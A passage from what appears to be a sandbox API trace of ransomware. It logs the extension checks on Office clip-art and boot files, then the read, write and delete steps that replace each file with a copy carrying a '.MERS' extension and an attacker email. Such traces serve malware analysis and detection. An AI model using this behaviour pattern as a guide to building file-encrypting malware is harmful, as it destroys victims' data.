(lpString=".pdf") returned 4 [0273.593] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.593] lstrlenW (lpString=".xls") returned 4 [0273.593] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.593] lstrlenW (lpString=".xlsx") returned 5 [0273.593] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.593] lstrlenW (lpString=".ppt") returned 4 [0273.593] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0273.593] lstrlenW (lpString=".zip") returned 4 [0273.593] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.593] lstrlenW (lpString=".rar") returned 4 [0273.593] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.593] lstrlenW (lpString=".bz2") returned 4 [0273.593] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.593] lstrlenW (lpString=".7z") returned 3 [0273.593] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0273.593] lstrlenW (lpString=".dbf") returned 4 [0273.593] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0273.593] lstrlenW (lpString=".1cd") returned 4 [0273.593] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0273.593] lstrlenW (lpString=".jpg") returned 4 [0273.593] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.594] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0273.594] lstrlenW (lpString="BS01636_.WMF") returned 12 [0273.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0273.594] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x30eff1c | out: lpFileSize=0x30eff1c*=1874) returned 1 [0273.603] CloseHandle (hObject=0x2c4) returned 1 [0273.603] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf")) returned 0x20 [0273.603] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0273.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0273.603] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0273.603] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0273.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0273.603] GetLastError () returned 0x0 [0273.603] ReadFile (in: hFile=0x2c4, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x752, lpOverlapped=0x0) returned 1 [0273.774] WriteFile (in: hFile=0x2c8, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0x760, lpOverlapped=0x0) returned 1 [0273.775] ReadFile (in: hFile=0x2c4, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x0, lpOverlapped=0x0) returned 1 [0273.775] WriteFile (in: hFile=0x2c8, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.775] SetEndOfFile (hFile=0x2c8) returned 1 [0273.775] CloseHandle (hObject=0x2c8) returned 1 [0273.775] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0273.775] SetEndOfFile (hFile=0x2c4) returned 1 [0273.777] CloseHandle (hObject=0x2c4) returned 1 [0273.777] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0273.777] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf")) returned 1 [0273.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0273.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0273.777] lstrlenW (lpString=".doc") returned 4 [0273.777] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.777] lstrlenW (lpString=".docx") returned 5 [0273.777] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.777] lstrlenW (lpString=".pdf") returned 4 [0273.777] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.777] lstrlenW (lpString=".xls") returned 4 [0273.777] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.777] lstrlenW (lpString=".xlsx") returned 5 [0273.778] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.778] lstrlenW (lpString=".ppt") returned 4 [0273.778] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0273.778] lstrlenW (lpString=".zip") returned 4 [0273.778] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.778] lstrlenW (lpString=".rar") returned 4 [0273.778] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.778] lstrlenW (lpString=".bz2") returned 4 [0273.778] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.778] lstrlenW (lpString=".7z") returned 3 [0273.778] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0273.778] lstrlenW (lpString=".dbf") returned 4 [0273.778] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0273.778] lstrlenW (lpString=".1cd") returned 4 [0273.778] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0273.778] lstrlenW (lpString=".jpg") returned 4 [0273.778] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0273.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0273.778] lstrlenW (lpString=".doc") returned 4 [0273.778] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.778] lstrlenW (lpString=".docx") returned 5 [0273.778] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.778] lstrlenW (lpString=".pdf") returned 4 [0273.778] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.778] lstrlenW (lpString=".xls") returned 4 [0273.778] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.778] lstrlenW (lpString=".xlsx") returned 5 [0273.778] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.778] lstrlenW (lpString=".ppt") returned 4 [0273.778] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0273.779] lstrlenW (lpString=".zip") returned 4 [0273.779] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.779] lstrlenW (lpString=".rar") returned 4 [0273.779] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.779] lstrlenW (lpString=".bz2") returned 4 [0273.779] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.779] lstrlenW (lpString=".7z") returned 3 [0273.779] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0273.779] lstrlenW (lpString=".dbf") returned 4 [0273.779] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0273.779] lstrlenW (lpString=".1cd") returned 4 [0273.779] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0273.779] lstrlenW (lpString=".jpg") returned 4 [0273.779] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.779] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0273.779] lstrlenW (lpString="CRANE.WMF") returned 9 [0273.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0273.867] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x30eff1c | out: lpFileSize=0x30eff1c*=5270) returned 1 [0273.867] CloseHandle (hObject=0x3c4) returned 1 [0273.867] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf")) returned 0x20 [0273.867] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0273.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0273.868] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0273.868] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0273.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0273.868] GetLastError () returned 0x0 [0273.868] ReadFile (in: hFile=0x3c4, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x1496, lpOverlapped=0x0) returned 1 [0273.984] WriteFile (in: hFile=0x2d8, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0x14a0, lpOverlapped=0x0) returned 1 [0273.985] ReadFile (in: hFile=0x3c4, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x0, lpOverlapped=0x0) returned 1 [0273.985] WriteFile (in: hFile=0x2d8, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0xe6, lpOverlapped=0x0) returned 1 [0273.985] SetEndOfFile (hFile=0x2d8) returned 1 [0273.985] CloseHandle (hObject=0x2d8) returned 1 [0273.985] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0273.985] SetEndOfFile (hFile=0x3c4) returned 1 [0273.987] CloseHandle (hObject=0x3c4) returned 1 [0274.052] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0274.052] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf")) returned 1 [0274.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0274.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0274.052] lstrlenW (lpString=".doc") returned 4 [0274.052] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.052] lstrlenW (lpString=".docx") returned 5 [0274.052] lstrcmpiW (lpString1=".docx", lpString2="E.WMF") returned -1 [0274.052] lstrlenW (lpString=".pdf") returned 4 [0274.052] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.052] lstrlenW (lpString=".xls") returned 4 [0274.052] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.052] lstrlenW (lpString=".xlsx") returned 5 [0274.053] lstrcmpiW (lpString1=".xlsx", lpString2="E.WMF") returned -1 [0274.053] lstrlenW (lpString=".ppt") returned 4 [0274.053] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0274.053] lstrlenW (lpString=".zip") returned 4 [0274.053] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.053] lstrlenW (lpString=".rar") returned 4 [0274.053] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.053] lstrlenW (lpString=".bz2") returned 4 [0274.053] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.053] lstrlenW (lpString=".7z") returned 3 [0274.053] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0274.053] lstrlenW (lpString=".dbf") returned 4 [0274.053] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0274.053] lstrlenW (lpString=".1cd") returned 4 [0274.053] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0274.053] lstrlenW (lpString=".jpg") returned 4 [0274.053] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0274.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0274.053] lstrlenW (lpString=".doc") returned 4 [0274.053] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.053] lstrlenW (lpString=".docx") returned 5 [0274.054] lstrcmpiW (lpString1=".docx", lpString2="E.WMF") returned -1 [0274.054] lstrlenW (lpString=".pdf") returned 4 [0274.054] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.054] lstrlenW (lpString=".xls") returned 4 [0274.054] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.054] lstrlenW (lpString=".xlsx") returned 5 [0274.054] lstrcmpiW (lpString1=".xlsx", lpString2="E.WMF") returned -1 [0274.054] lstrlenW (lpString=".ppt") returned 4 [0274.054] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0274.054] lstrlenW (lpString=".zip") returned 4 [0274.054] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.054] lstrlenW (lpString=".rar") returned 4 [0274.054] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.054] lstrlenW (lpString=".bz2") returned 4 [0274.054] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.054] lstrlenW (lpString=".7z") returned 3 [0274.054] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0274.054] lstrlenW (lpString=".dbf") returned 4 [0274.054] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0274.054] lstrlenW (lpString=".1cd") returned 4 [0274.054] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0274.054] lstrlenW (lpString=".jpg") returned 4 [0274.054] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.054] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0274.054] lstrlenW (lpString="DD00117_.WMF") returned 12 [0274.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0274.055] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x30eff1c | out: lpFileSize=0x30eff1c*=31122) returned 1 [0274.055] CloseHandle (hObject=0x3c4) returned 1 [0274.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf")) returned 0x20 [0274.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0274.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0274.056] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0274.056] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0274.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0274.056] GetLastError () returned 0x0 [0274.056] ReadFile (hFile=0x3c4, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0) Thread: id = 97 os_tid = 0x6f0 [0257.686] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10000) returned 0x3ac0070 [0257.686] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10000) returned 0x3ad0078 [0257.687] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x595358 [0257.687] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x5c1fe8 [0257.687] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x595370 [0257.687] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100000) returned 0x3ea0020 [0257.687] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x595388 [0257.687] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x595388, Size=0x20) returned 0x6293b0 [0257.687] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x595388 [0257.687] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x595388, Size=0x20) returned 0x6293d8 [0257.687] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75030000 [0257.687] GetProcAddress (hModule=0x75030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7505d650 [0257.687] Wow64DisableWow64FsRedirection (in: OldValue=0x322ff58 | out: OldValue=0x322ff58*=0x0) returned 1 [0257.687] lstrlenW (lpString="kernel32.dll") returned 12 [0257.687] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x6293b0 | out: hHeap=0x540000) returned 1 [0257.687] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0257.687] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x6293d8 | out: hHeap=0x540000) returned 1 [0257.688] Sleep (dwMilliseconds=0x64) [0257.874] Sleep (dwMilliseconds=0x64) [0258.058] lstrcmpiW (lpString1=".LOG2", lpString2=".MERS") returned -1 [0258.058] lstrlenW (lpString="BCD.LOG2") returned 8 [0258.058] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0258.114] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x322ff1c | out: lpFileSize=0x322ff1c*=0) returned 1 [0258.114] CloseHandle (hObject=0x2f8) returned 1 [0258.114] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0258.114] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0258.114] lstrlenW (lpString=".doc") returned 4 [0258.114] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0258.114] lstrlenW (lpString=".docx") returned 5 [0258.114] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0258.114] lstrlenW (lpString=".pdf") returned 4 [0258.114] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0258.114] lstrlenW (lpString=".xls") returned 4 [0258.114] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0258.114] lstrlenW (lpString=".xlsx") returned 5 [0258.114] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0258.114] lstrlenW (lpString=".ppt") returned 4 [0258.114] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0258.114] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0258.114] lstrlenW (lpString=".zip") returned 4 [0258.114] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0258.114] lstrlenW (lpString=".rar") returned 4 [0258.114] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0258.114] lstrlenW (lpString=".bz2") returned 4 [0258.114] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0258.114] lstrlenW (lpString=".7z") returned 3 [0258.114] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0258.114] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0258.114] lstrlenW (lpString=".dbf") returned 4 [0258.114] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0258.114] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0258.114] lstrlenW (lpString=".1cd") returned 4 [0258.115] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0258.115] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0258.115] lstrlenW (lpString=".jpg") returned 4 [0258.115] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0258.115] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0258.115] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0258.115] lstrlenW (lpString=".doc") returned 4 [0258.115] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0258.115] lstrlenW (lpString=".docx") returned 5 [0258.115] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0258.115] lstrlenW (lpString=".pdf") returned 4 [0258.115] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0258.115] lstrlenW (lpString=".xls") returned 4 [0258.115] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0258.115] lstrlenW (lpString=".xlsx") returned 5 [0258.115] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0258.115] lstrlenW (lpString=".ppt") returned 4 [0258.115] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0258.115] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0258.115] lstrlenW 